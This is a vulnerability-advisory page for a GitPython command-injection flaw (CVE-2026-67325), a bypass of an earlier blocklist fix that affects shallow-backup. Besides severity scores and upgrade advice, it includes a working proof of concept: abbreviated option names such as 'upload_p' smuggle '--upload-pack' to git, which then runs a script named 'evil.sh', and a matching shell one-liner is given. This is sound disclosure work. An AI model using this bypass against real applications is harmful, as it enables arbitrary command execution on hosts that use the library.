VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

CVE-2026-67325: GitPython · Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

Affects shallow-backupSource GCVE Database

Mentioned vulnerabilities

CVE-2026-42215

Authoritative record:CVE-2026-67325· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 6.6_3 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 2.2% chance of exploitation in 30 days – higher than 82% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 6.6_3

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: Low
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: High
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: Low: The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

Disclosed: evidence found.
CVE published 1 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

CVE ID reserved
by VulnCheck
29 Jul 202613:07 UTC, 3 days before disclosure
CVE published
on cve.org
1 Aug 202612:22 UTC, t = 0
CISA SSVC assessment
proof of concept public
5 Aug 202603:56 UTC, 4 days after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade shallow-backup to 6.6_3.

Affected software

Product	Affected	Fixed in
Homebrewshallow-backup`pkg:brew/shallow-backup`Other threats	Affected >=5.0.1 <6.6_3	Fixed in 6.6_3

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **Reporter:** hackkim ### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ### The asymmetry (root cause) ```python # git/cmd.py (commit 20c5e275), lines 948-974 @classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") # fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) # attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The dire

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